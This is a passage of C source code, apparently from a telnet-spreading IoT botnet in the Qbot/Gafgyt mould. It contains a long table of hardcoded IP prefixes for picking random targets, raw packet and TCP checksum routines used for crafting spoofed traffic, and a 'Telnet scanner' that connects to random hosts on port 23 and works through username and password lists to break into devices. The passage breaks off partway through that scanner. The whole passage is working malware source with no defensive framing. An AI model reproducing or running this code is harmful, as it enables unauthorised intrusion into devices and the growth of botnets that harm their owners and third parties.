  1011. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  1012. }
  1013. if(randnum == 39)
  1014. {
  1015. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  1016. }
  1017. if(randnum == 40)
  1018. {
  1019. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  1020. }
  1021. if(randnum == 41)
  1022. {
  1023. szprintf(ip, "60.0.%d.%d", ipState[3], ipState[4]);
  1024. }
  1025. if(randnum == 42)
  1026. {
  1027. szprintf(ip, "60.16.%d.%d", ipState[3], ipState[4]);
  1028. }
  1029. if(randnum == 43)
  1030. {
  1031. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1032. }
  1033. if(randnum == 44)
  1034. {
  1035. szprintf(ip, "62.30.%d.%d", ipState[3], ipState[4]);
  1036. }
  1037. if(randnum == 45)
  1038. {
  1039. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  1040. }
  1041. if(randnum == 46)
  1042. {
  1043. szprintf(ip, "62.254.%d.%d", ipState[3], ipState[4]);
  1044. }
  1045. if(randnum == 47)
  1046. {
  1047. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  1048. }
  1049. if(randnum == 48)
  1050. {
  1051. szprintf(ip, "77.96.%d.%d", ipState[3], ipState[4]);
  1052. }
  1053. if(randnum == 49)
  1054. {
  1055. szprintf(ip, "77.97.%d.%d", ipState[3], ipState[4]);
  1056. }
  1057. if(randnum == 50)
  1058. {
  1059. szprintf(ip, "77.98.%d.%d", ipState[3], ipState[4]);
  1060. }
  1061. if(randnum == 51)
  1062. {
  1063. szprintf(ip, "77.100.%d.%d", ipState[3], ipState[4]);
  1064. }
  1065. if(randnum == 52)
  1066. {
  1067. szprintf(ip, "77.102.%d.%d", ipState[3], ipState[4]);
  1068. }
  1069. if(randnum ==53)
  1070. {
  1071. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  1072. }
  1073. if(randnum == 54)
  1074. {
  1075. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  1076. }
  1077. if(randnum == 55)
  1078. {
  1079. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  1080. }
  1081. if(randnum == 56)
  1082. {
  1083. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  1084. }
  1085. if(randnum == 57)
  1086. {
  1087. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  1088. }
  1089. if(randnum == 58)
  1090. {
  1091. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  1092. }
  1093. if(randnum == 59)
  1094. {
  1095. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  1096. }
  1097. if(randnum == 60)
  1098. {
  1099. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  1100. }
  1101. if(randnum == 61)
  1102. {
  1103. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  1104. }
  1105. if(randnum == 62)
  1106. {
  1107. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  1108. }
  1109. if(randnum == 63)
  1110. {
  1111. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  1112. }
  1113. if(randnum == 64)
  1114. {
  1115. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  1116. }
  1117. if(randnum == 65)
  1118. {
  1119. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  1120. }
  1121. if(randnum == 66)
  1122. {
  1123. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  1124. }
  1125. if(randnum == 67)
  1126. {
  1127. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  1128. }
  1129. if(randnum == 68)
  1130. {
  1131. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  1132. }
  1133. if(randnum == 69)
  1134. {
  1135. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  1136. }
  1137. if(randnum == 70)
  1138. {
  1139. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  1140. }
  1141. if(randnum == 71)
  1142. {
  1143. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  1144. }
  1145. if(randnum == 72)
  1146. {
  1147. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  1148. }
  1149. if(randnum == 73)
  1150. {
  1151. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  1152. }
  1153. if(randnum == 74)
  1154. {
  1155. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  1156. }
  1157. if(randnum == 75)
  1158. {
  1159. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  1160. }
  1161. if(randnum == 76)
  1162. {
  1163. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  1164. }
  1165. if(randnum == 77)
  1166. {
  1167. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  1168. }
  1169. if(randnum == 78)
  1170. {
  1171. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  1172. }
  1173. if(randnum == 79)
  1174. {
  1175. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  1176. }
  1177. if(randnum == 80)
  1178. {
  1179. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  1180. }
  1181. if(randnum == 81)
  1182. {
  1183. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  1184. }
  1185. if(randnum == 82)
  1186. {
  1187. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  1188. }
  1189. if(randnum == 83)
  1190. {
  1191. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  1192. }
  1193. if(randnum == 84)
  1194. {
  1195. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  1196. }
  1197. if(randnum == 85)
  1198. {
  1199. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  1200. }
  1201. if(randnum == 86)
  1202. {
  1203. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  1204. }
  1205. if(randnum == 87)
  1206. {
  1207. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  1208. }
  1209. if(randnum == 88)
  1210. {
  1211. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  1212. }
  1213. if(randnum == 89)
  1214. {
  1215. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  1216. }
  1217. if(randnum == 90)
  1218. {
  1219. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  1220. }
  1221. if(randnum == 91)
  1222. {
  1223. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  1224. }
  1225. if(randnum == 92)
  1226. {
  1227. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  1228. }
  1229. if(randnum == 93)
  1230. {
  1231. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  1232. }
  1233. if(randnum == 94)
  1234. {
  1235. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1236. }
  1237. if(randnum == 95)
  1238. {
  1239. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  1240. }
  1241. if(randnum == 96)
  1242. {
  1243. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  1244. }
  1245. if(randnum == 97)
  1246. {
  1247. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  1248. }
  1249. if(randnum == 98)
  1250. {
  1251. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  1252. }
  1253. if(randnum == 99)
  1254. {
  1255. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  1256. }
  1257. if(randnum == 100)
  1258. {
  1259. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  1260. }
  1261. if(randnum == 101)
  1262. {
  1263. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  1264. }
  1265. if(randnum == 102)
  1266. {
  1267. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  1268. }
  1269. if(randnum == 103)
  1270. {
  1271. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  1272. }
  1273. if(randnum == 104)
  1274. {
  1275. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  1276. }
  1277. if(randnum == 105)
  1278. {
  1279. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  1280. }
  1281. if(randnum == 106)
  1282. {
  1283. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  1284. }
  1285. if(randnum == 107)
  1286. {
  1287. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  1288. }
  1289. if(randnum == 108)
  1290. {
  1291. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1292. }
  1293. if(randnum == 109)
  1294. {
  1295. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  1296. }
  1297. if(randnum == 110)
  1298. {
  1299. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  1300. }
  1301. if(randnum == 111)
  1302. {
  1303. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  1304. }
  1305. if(randnum == 112)
  1306. {
  1307. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1308. }
  1309. if(randnum == 113)
  1310. {
  1311. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1312. }
  1313. if(randnum == 114)
  1314. {
  1315. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1316. }
  1317. if(randnum == 115)
  1318. {
  1319. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  1320. }
  1321. if(randnum == 116)
  1322. {
  1323. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  1324. }
  1325. if(randnum == 117)
  1326. {
  1327. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  1328. }
  1329. if(randnum == 118)
  1330. {
  1331. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  1332. }
  1333. if(randnum == 119)
  1334. {
  1335. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  1336. }
  1337. if(randnum == 120)
  1338. {
  1339. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  1340. }
  1341. if(randnum == 121)
  1342. {
  1343. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1344. }
  1345. if(randnum == 122)
  1346. {
  1347. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  1348. }
  1349. if(randnum == 123)
  1350. {
  1351. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  1352. }
  1353. if(randnum == 124)
  1354. {
  1355. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1356. }
  1357. if(randnum == 125)
  1358. {
  1359. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  1360. }
  1361. if(randnum == 126)
  1362. {
  1363. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1364. }
  1365. if(randnum == 127)
  1366. {
  1367. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  1368. }
  1369. if(randnum == 128)
  1370. {
  1371. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  1372. }
  1373. if(randnum == 129)
  1374. {
  1375. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  1376. }
  1377. if(randnum == 130)
  1378. {
  1379. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  1380. }
  1381. if(randnum == 131)
  1382. {
  1383. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  1384. }
  1385. if(randnum == 132)
  1386. {
  1387. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  1388. }
  1389. if(randnum == 133)
  1390. {
  1391. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  1392. }
  1393. if(randnum == 134)
  1394. {
  1395. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  1396. }
  1397. if(randnum == 135)
  1398. {
  1399. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  1400. }
  1401. if(randnum == 136)
  1402. {
  1403. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  1404. }
  1405. if(randnum == 137)
  1406. {
  1407. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  1408. }
  1409. if(randnum == 138)
  1410. {
  1411. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  1412. }
  1413. if(randnum == 139)
  1414. {
  1415. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  1416. }
  1417. if(randnum == 140)
  1418. {
  1419. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  1420. }
  1421. if(randnum == 141)
  1422. {
  1423. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  1424. }
  1425. if(randnum == 142)
  1426. {
  1427. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  1428. }
  1429. if(randnum == 143)
  1430. {
  1431. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1432. }
  1433. if(randnum == 144)
  1434. {
  1435. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  1436. }
  1437. if(randnum == 145)
  1438. {
  1439. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  1440. }
  1441. if(randnum == 146)
  1442. {
  1443. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  1444. }
  1445. if(randnum == 147)
  1446. {
  1447. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  1448. }
  1449. if(randnum == 148)
  1450. {
  1451. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  1452. }
  1453. if(randnum == 149)
  1454. {
  1455. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  1456. }
  1457. if(randnum == 150)
  1458. {
  1459. szprintf(ip, "175.201.%d.%d", ipState[3], ipState[4]);
  1460. }
  1461. if(randnum == 151)
  1462. {
  1463. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1464. }
  1465. if(randnum == 152)
  1466. {
  1467. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1468. }
  1469. if(randnum == 153)
  1470. {
  1471. szprintf(ip, "50.205.%d.%d", ipState[3], ipState[4]);
  1472. }
  1473. if(randnum == 154)
  1474. {
  1475. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1476. }
  1477. if(randnum == 155)
  1478. {
  1479. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1480. }
  1481. if(randnum == 156)
  1482. {
  1483. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1484. }
  1485. if(randnum == 157)
  1486. {
  1487. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1488. }
  1489. if(randnum == 158)
  1490. {
  1491. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1492. }
  1493. if(randnum == 159)
  1494. {
  1495. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1496. }
  1497. if(randnum == 160)
  1498. {
  1499. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1500. }
  1501. if(randnum == 161)
  1502. {
  1503. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1504. }
  1505. if(randnum == 162)
  1506. {
  1507. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1508. }
  1509. if(randnum == 163)
  1510. {
  1511. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1512. }
  1513. if(randnum == 164)
  1514. {
  1515. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1516. }
  1517. if(randnum == 165)
  1518. {
  1519. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1520. }
  1521. if(randnum == 166)
  1522. {
  1523. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1524. }
  1525. if(randnum == 167)
  1526. {
  1527. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1528. }
  1529. if(randnum == 168)
  1530. {
  1531. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1532. }
  1533. if(randnum == 169)
  1534. {
  1535. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1536. }
  1537. if(randnum == 171)
  1538. {
  1539. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  1540. }
  1541. if(randnum == 172)
  1542. {
  1543. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  1544. }
  1545. if(randnum == 173)
  1546. {
  1547. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  1548. }
  1549. if(randnum == 174)
  1550. {
  1551. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  1552. }
  1553. if(randnum == 175)
  1554. {
  1555. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  1556. }
  1557. if(randnum == 176)
  1558. {
  1559. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  1560. }
  1561. if(randnum == 177)
  1562. {
  1563. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  1564. }
  1565. if(randnum == 178)
  1566. {
  1567. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  1568. }
  1569. if(randnum == 179)
  1570. {
  1571. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  1572. }
  1573. if(randnum == 180)
  1574. {
  1575. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  1576. }
  1577. if(randnum == 181)
  1578. {
  1579. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  1580. }
  1581. if(randnum == 182)
  1582. {
  1583. szprintf(ip, "163.47.%d.%d", ipState[3], ipState[4]);
  1584. }
  1585. if(randnum == 183)
  1586. {
  1587. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1588. }
  1589. if(randnum == 184)
  1590. {
  1591. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  1592. }
  1593. if(randnum == 185)
  1594. {
  1595. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  1596. }
  1597. if(randnum == 186)
  1598. {
  1599. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  1600. }
  1601. if(randnum == 187)
  1602. {
  1603. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  1604. }
  1605. if(randnum == 188)
  1606. {
  1607. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  1608. }
  1609. if(randnum == 189)
  1610. {
  1611. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  1612. }
  1613. if(randnum == 190)
  1614. {
  1615. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  1616. }
  1617. if(randnum == 191)
  1618. {
  1619. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  1620. }
  1621. if(randnum == 192)
  1622. {
  1623. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  1624. }
  1625. if(randnum == 193)
  1626. {
  1627. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  1628. }
  1629. if(randnum == 194)
  1630. {
  1631. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  1632. }
  1633. if(randnum == 195)
  1634. {
  1635. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  1636. }
  1637. if(randnum == 196)
  1638. {
  1639. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  1640. }
  1641. if(randnum == 197)
  1642. {
  1643. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  1644. }
  1645. if(randnum == 198)
  1646. {
  1647. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  1648. }
  1649. if(randnum == 199)
  1650. {
  1651. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  1652. }
  1653. if(randnum == 200)
  1654. {
  1655. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  1656. }
  1657. if(randnum == 201)
  1658. {
  1659. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  1660. }
  1661. if(randnum == 201)
  1662. {
  1663. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  1664. }
  1665. if(randnum == 202)
  1666. {
  1667. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  1668. }
  1669. if(randnum == 203)
  1670. {
  1671. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  1672. }
  1673. if(randnum == 204)
  1674. {
  1675. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  1676. }
  1677. if(randnum == 205)
  1678. {
  1679. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  1680. }
  1681. if(randnum == 206)
  1682. {
  1683. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  1684. }
  1685. if(randnum == 207)
  1686. {
  1687. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  1688. }
  1689. if(randnum == 208)
  1690. {
  1691. szprintf(ip, "50.233.%d.%d", ipState[3], ipState[4]);
  1692. }
  1693.  
  1694. return inet_addr(ip);
  1695. }
  1696.  
  1697.  
  1698. in_addr_t GetRandomIP(in_addr_t netmask)
  1699. {
  1700. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1701. return tmp ^ ( rand_cmwc() & ~netmask);
  1702. }
  1703.  
  1704. unsigned short csum (unsigned short *buf, int count)
  1705. {
  1706. register uint64_t sum = 0;
  1707. while( count > 1 ) { sum += *buf++; count -= 2; }
  1708. if(count > 0) { sum += *(unsigned char *)buf; }
  1709. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1710. return (uint16_t)(~sum);
  1711. }
  1712.  
  1713. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1714. {
  1715.  
  1716. struct tcp_pseudo
  1717. {
  1718. unsigned long src_addr;
  1719. unsigned long dst_addr;
  1720. unsigned char zero;
  1721. unsigned char proto;
  1722. unsigned short length;
  1723. } pseudohead;
  1724. unsigned short total_len = iph->tot_len;
  1725. pseudohead.src_addr=iph->saddr;
  1726. pseudohead.dst_addr=iph->daddr;
  1727. pseudohead.zero=0;
  1728. pseudohead.proto=IPPROTO_TCP;
  1729. pseudohead.length=htons(sizeof(struct tcphdr));
  1730. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1731. unsigned short *tcp = malloc(totaltcp_len);
  1732. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1733. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1734. unsigned short output = csum(tcp,totaltcp_len);
  1735. free(tcp);
  1736. return output;
  1737. }
  1738.  
  1739. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1740. {
  1741. iph->ihl = 5;
  1742. iph->version = 4;
  1743. iph->tos = 0;
  1744. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1745. iph->id = rand_cmwc();
  1746. iph->frag_off = 0;
  1747. iph->ttl = MAXTTL;
  1748. iph->protocol = protocol;
  1749. iph->check = 0;
  1750. iph->saddr = source;
  1751. iph->daddr = dest;
  1752. }
  1753.  
  1754. int sclose(int fd)
  1755. {
  1756. if(3 > fd) return 1;
  1757. close(fd);
  1758. return 0;
  1759. }
  1760. int socket_connect(char *host, in_port_t port) {
  1761. struct hostent *hp;
  1762. struct sockaddr_in addr;
  1763. int on = 1, sock;
  1764. if ((hp = gethostbyname(host)) == NULL) return 0;
  1765. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1766. addr.sin_port = htons(port);
  1767. addr.sin_family = AF_INET;
  1768. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1769. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1770. if (sock == -1) return 0;
  1771. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  1772. return 0;
  1773. return sock;
  1774. }
  1775.  
  1776. //Telnet scanner by Ah.Jonah
  1777. void StartTheLelz() {
  1778. int i, res, j;
  1779. char buf[128], cur_dir;
  1780. int wait_usec = 10;
  1781. int maxfds = 1000;
  1782. int max = maxfds;
  1783. fd_set fdset;
  1784. struct timeval tv;
  1785. socklen_t lon;
  1786. int valopt;
  1787. srand(time(NULL) ^ rand_cmwc());
  1788. char line[256];
  1789. char* buffer;
  1790. struct sockaddr_in dest_addr;
  1791. dest_addr.sin_family = AF_INET;
  1792. dest_addr.sin_port = htons(23);
  1793. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1794. buffer = malloc(BUFFER_SIZE + 1);
  1795. memset(buffer, 0, BUFFER_SIZE + 1);
  1796. struct telstate_t fds[max];
  1797. memset(fds, 0, max * (sizeof(int) + 1));
  1798. for(i = 0; i < max; i++) {
  1799. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1800. fds[i].complete = 1;
  1801. fds[i].sockbuf = buffer; }
  1802. while(1) {
  1803. for(i = 0; i < max; i++) {
  1804. if(fds[i].totalTimeout == 0) {
  1805. fds[i].totalTimeout = time(NULL); }
  1806. switch(fds[i].state) {
  1807. case 0: {
  1808. if(fds[i].complete == 1) {
  1809. char *tmp = fds[i].sockbuf;
  1810. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1811. fds[i].sockbuf = tmp;
  1812. fds[i].ip = HackerScan2(); }
  1813. else if(fds[i].complete == 0) {
  1814. fds[i].passwordInd++;
  1815. fds[i].usernameInd++;
  1816. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1817. fds[i].complete = 1;
  1818. continue; }
  1819. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1820. fds[i].complete = 1;
  1821. continue;
  1822. }
  1823. }
  1824. dest_addr.sin_family = AF_INET;
  1825. dest_addr.sin_port = htons(23);
  1826. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1827. dest_addr.sin_addr.s_addr = fds[i].ip;
  1828. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1829. if(fds[i].fd == -1) continue;
  1830. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1831. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1832. sclose(fds[i].fd);
  1833. fds[i].complete = 1; }
  1834. else {
  1835. fds[i].state = 1;
  1836. fds[i].totalTimeout = 0;
  1837. }
  1838. }
  1839. break;
  1840. case 1:
  1841. {
  1842. FD_ZERO(&fdset);
  1843. FD_SET(fds[i].fd, &fdset);
  1844. tv.tv_sec = 0;
  1845. tv.tv_usec = wait_usec;
  1846. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1847. if(res == 1) {
  1848. lon = sizeof(int);
  1849. valopt = 0;
  1850. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1851. if(valopt) {
  1852. sclose(fds[i].fd);
  1853. fds[i].state = 0;
  1854. fds[i].complete = 1;
  1855. } else {
  1856. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1857. fds[i].totalTimeout = 0;
  1858. fds[i].bufUsed = 0;
  1859. memset(fds[i].sockbuf, 0, 1024);
  1860. fds[i].state = 2;
  1861. } continue; }
  1862. else if(res == -1) {
  1863. sclose(fds[i].fd);
  1864. fds[i].state = 0;
  1865. fds[i].complete = 1;
  1866. continue; }
  1867. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1868. sclose(fds[i].fd);
  1869. fds[i].state = 0;
  1870. fds[i].complete = 1;
  1871. }
  1872. }
  1873. break;
  1874. case 2:
  1875. {
  1876. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  1877. if(contains_fail(fds[i].sockbuf)) {
  1878. fds[i].state = 0;
  1879. } else {
  1880. fds[i].state = 3; }
  1881. continue; }
  1882. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1883. fds[i].state = 0;
  1884. fds[i].complete = 1;
  1885. }
  1886. }
  1887. break;
  1888. case 3: {
  1889. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1890. fds[i].state = 0;
  1891. fds[i].complete = 1;
  1892. continue; }
  1893. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1894. fds[i].state = 0;
  1895. fds[i].complete = 1;
  1896. continue; }
  1897. fds[i].state = 4; }
  1898. break;
  1899. case 4:
  1900. {
  1901. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1902. {
  1903. if(contains_fail(fds[i].sockbuf)) {
  1904. fds[i].state = 0;
  1905. } else {
  1906. fds[i].state = 5; }
  1907. continue; }
  1908. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1909. fds[i].state = 0;
  1910. fds[i].complete = 1;
  1911. }
  1912. }
  1913. break;
  1914. case 5:
  1915. {
  1916. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  1917. fds[i].state = 0;
  1918. fds[i].complete = 1;
  1919. continue; }
